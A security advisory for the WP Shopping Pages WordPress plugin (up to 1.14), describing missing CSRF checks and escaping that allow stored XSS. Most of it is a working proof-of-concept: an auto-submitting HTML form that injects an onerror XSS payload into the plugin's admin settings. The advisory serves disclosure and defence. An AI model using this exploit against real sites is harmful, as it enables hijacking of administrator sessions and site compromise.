WP Shopping Pages <= 1.14 – Stored XSS via CSRF

Description

The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack.

Proof of Concept

Make a logged in admin access a page with the following code:

<form action="https://example.com/wp-admin/admin.php?page=amtp-addpages-page" method="POST">
    <input type="text" name="amazon_affid" value='"><img src=x onerror=alert(1)>'>
    <input type="text" name="amazon_apikey" value="">
    <input type="text" name="amazon_secret" value="">
    <input type="text" name="amazon_site" value="com">
    <input type="text" name="amazon_search_method" value="broad">
    <input type="text" name="amazon_desc_length" value="300">
    <input type="text" name="amazon_noshortcode" value="Yes">
    <input type="text" name="amazon_skip_if" value="nodesc">
    <input type="text" name="ebay_campid" value="">
    <input type="text" name="ebay_lang" value="en-US">
    <input type="text" name="ebay_country" value="0">
    <input type="text" name="ebay_template" value="">
    <input type="text" name="ebay_cache_length" value="100">
    <input type="text" name="wpsp_post_type" value="page">
    <input type="text" name="post_status" value="publish">
    <input type="text" name="post_author" value="1">
    <input type="text" name="feat_links" value="1">
    <input type="text" name="post_comments" value="open">
    <input type="text" name="submitoptions" value="Save Options">
    <input type="text" name="action" value="editoption">
</form>
<script>
    document.forms[0].submit();
</script>